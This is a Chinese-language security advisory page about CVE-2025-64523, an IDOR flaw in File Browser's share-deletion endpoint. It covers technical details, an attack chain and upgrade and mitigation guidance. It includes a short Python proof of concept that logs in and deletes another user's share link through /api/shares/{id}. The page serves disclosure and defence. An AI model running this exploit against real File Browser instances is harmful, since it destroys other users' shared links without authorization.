IPBUF安全漏洞报告
English
CVE-2025-64523 CVSS 8.8 高危

CVE-2025-64523 File Browser共享删除IDOR漏洞导致未授权删除他人共享链接

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-64523
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
File Browser

相关标签

IDORFile Browser权限绕过CVE-2025-64523访问控制共享删除高危漏洞

漏洞概述

CVE-2025-64523是File Browser应用中的一个高危安全漏洞,CVSS评分8.8。该漏洞存在于文件共享删除功能中,属于不安全的直接对象引用(IDOR)类型。受影响版本为2.45.1之前的File Browser。漏洞允许任何具有共享权限的认证用户无需授权检查即可删除其他用户的共享链接。攻击者可利用此漏洞系统性地移除共享文件和链接,导致业务运营中断,造成合法用户的服务拒绝,并可能引发协作环境中的数据丢失问题。在组织环境中,这可能影响项目、演示文稿或文档协作的关键文件共享功能,破坏数据保密协议。攻击者无需高权限,仅需低权限账户即可实施攻击,且无需用户交互,通过网络即可发起攻击。

技术细节

File Browser是一款提供文件管理界面的应用,支持上传、删除、预览、重命名和编辑文件。该应用在2.45.1之前的版本中,共享删除功能存在IDOR漏洞。漏洞根源在于应用在处理共享链接删除请求时,未正确验证当前用户是否有权限删除目标共享链接。攻击者只需知道或猜测其他用户共享链接的ID,即可通过修改请求参数中的链接ID来删除他人的共享链接。攻击流程:1) 攻击者使用低权限账户登录File Browser;2) 攻击者访问共享管理功能;3) 拦截删除请求,修改目标共享链接ID为其他用户的链接ID;4) 服务器未验证所有权即执行删除操作。此漏洞暴露了应用在对象级别访问控制方面的缺陷,属于OWASP Top 10中的A01:2021-Broken Access Control类别。修复方案已在2.45.1版本中实施,应添加所有权验证逻辑,确保用户只能删除自己创建的共享链接。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账户登录File Browser应用
STEP 2
步骤2
攻击者获取自己的共享链接列表,了解API请求格式
STEP 3
步骤3
攻击者拦截删除共享链接的HTTP请求
STEP 4
步骤4
攻击者修改请求中的共享链接ID为目标受害者的链接ID
STEP 5
步骤5
服务器未验证链接所有权,直接执行删除操作
STEP 6
步骤6
受害者的共享链接被成功删除,造成服务拒绝和数据丢失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64523 PoC - File Browser IDOR in Share Deletion # Affected: File Browser < 2.45.1 import requests import json TARGET_URL = "http://target-filebrowser.com" USERNAME = "attacker" PASSWORD = "password123" TARGET_SHARE_ID = "victim_share_link_id" # ID of victim's share link def login(): """Authenticate and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/api/login" resp = session.post(login_url, json={"username": USERNAME, "password": PASSWORD}) if resp.status_code == 200: return session return None def delete_share_link(session, share_id): """Delete a share link - vulnerable endpoint""" delete_url = f"{TARGET_URL}/api/shares/{share_id}" resp = session.delete(delete_url) return resp.status_code == 200 def main(): print("[*] CVE-2025-64523 File Browser IDOR PoC") print("[*] Target: ", TARGET_URL) # Step 1: Login with low-privilege account session = login() if not session: print("[-] Login failed") return print("[+] Logged in successfully") # Step 2: Exploit IDOR by deleting victim's share link if delete_share_link(session, TARGET_SHARE_ID): print(f"[+] Successfully deleted share link: {TARGET_SHARE_ID}") print("[*] IDOR vulnerability confirmed - deleted unauthorized share link") else: print("[-] Failed to delete share link") if __name__ == "__main__": main()

影响范围

File Browser < 2.45.1

防御指南

临时缓解措施
立即升级File Browser到2.45.1版本以修复此IDOR漏洞。在无法立即升级的情况下,可通过配置Web应用防火墙(WAF)规则限制对/api/shares/*端点的异常访问频率,监控异常删除操作日志,并考虑临时禁用共享功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表